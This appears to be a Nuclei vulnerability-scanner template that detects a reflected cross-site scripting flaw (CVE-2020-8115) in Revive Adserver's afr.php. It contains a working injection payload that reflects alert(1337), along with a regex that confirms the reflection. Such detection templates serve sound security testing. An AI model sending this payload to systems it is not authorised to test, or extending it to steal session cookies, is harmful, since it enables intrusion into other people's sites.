nuclei-templates/http/cves/2020/CVE-2020-8115.yaml

id: CVE-2020-8115

info:
  name: Revive Adserver <=5.0.3 - Cross-Site Scripting
  author: madrobot,dwisiswant0
  severity: medium
  description: |
    Revive Adserver 5.0.3 and prior contains a reflected cross-site scripting vulnerability in the publicly accessible afr.php delivery script. In older versions, it is possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script is printed back without proper escaping, allowing an attacker to execute arbitrary JavaScript code on the browser of the victim.
  reference:
    - https://hackerone.com/reports/775693
    - https://www.revive-adserver.com/security/revive-sa-2020-001/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8115
  remediation: There are currently no known exploits. As of 3.2.2, the session identifier cannot be accessed as it is stored in an http-only cookie.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-8115
    cwe-id: CWE-79
    epss-score: 0.0187
    cpe: cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*
    epss-percentile: 0.86916
  metadata:
    max-request: 1
    vendor: revive-adserver
    product: revive_adserver
  tags: cve,cve2020,xss,hackerone

http:
  - method: GET
    path:
      - "{{BaseURL}}/www/delivery/afr.php?refresh=10000&\")',10000000);alert(1337);setTimeout('alert(\""

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - (?mi)window\.location\.replace\(".*alert\(1337\)

      - type: status
        status:
          - 200